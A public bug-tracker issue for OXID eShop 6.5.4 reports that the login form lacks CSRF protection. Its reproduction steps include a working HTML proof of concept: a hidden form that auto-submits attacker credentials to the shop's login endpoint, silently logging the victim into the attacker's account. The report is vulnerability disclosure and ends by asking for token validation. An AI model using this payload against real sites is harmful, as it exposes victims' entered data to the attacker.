View Issue Details

Jump to Notes
IDProjectCategoryView StatusDate SubmittedLast Update
0007995OXID eShop (all versions)1.05. Userspublic2026-08-19 16:302026-08-19 16:30
Reportersuabo Assigned To 
PrioritynormalSeverityminorReproducibilityalways
Status newResolutionopen 
Product Version6.5.4 
Summary0007995: Vulnerability Report : No validation of csrf on the login
DescriptionThe login form is not protected against Cross-Site Request Forgery.
An attacker can craft an HTML page containing POST information to have the victim sign into an attacker's account, where the victim can add information assuming he/she is logged into the correct account, where in reality, the victim is signed into the attacker's account where the changes are visible to the attacker.

The real issue here is that when the victim runs the HTML Proof of Concept, the account is logged in to attacker's without any visible warnings, thus the victim is capable of theft of data and potentially vulnerable to account takeover.
Steps To ReproduceCreate a victim account
Create an attacker account
Run Proof of Concept in the same browser as victim and press submit.
On the victim browser, he/she is logged in as an attacker without any indication unless the page is manually refreshed.

Here is the POC:

<html>
  <!-- CSRF PoC --->
  <body>
    <form action="https://www.oxidshop.de/index.php?" method="POST">
      <input type="hidden" name="stoken" value="BA5A4480" />
      <input type="hidden" name="lang" value="0" />
      <input type="hidden" name="listtype" value="" />
      <input type="hidden" name="actcontrol" value="account" />
      <input type="hidden" name="fnc" value="login_noredirect" />
      <input type="hidden" name="cl" value="account" />
      <input type="hidden" name="tpl" value="" />
      <input type="hidden" name="oxloadid" value="" />
      <input type="hidden" name="lgn_usr" value="attackerfive15325@gmail.com" />
      <input type="hidden" name="lgn_pwd" value="Jana1234@" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
Additional InformationPlease validate the csrf token to login request or make some type prompt that the session has ended when the new login from the attacker occurs.
TagsNo tags attached.
ThemeNot defined
BrowserNot defined
PHP VersionNot defined
Database VersionNot defined

Activities

There are no notes attached to this issue.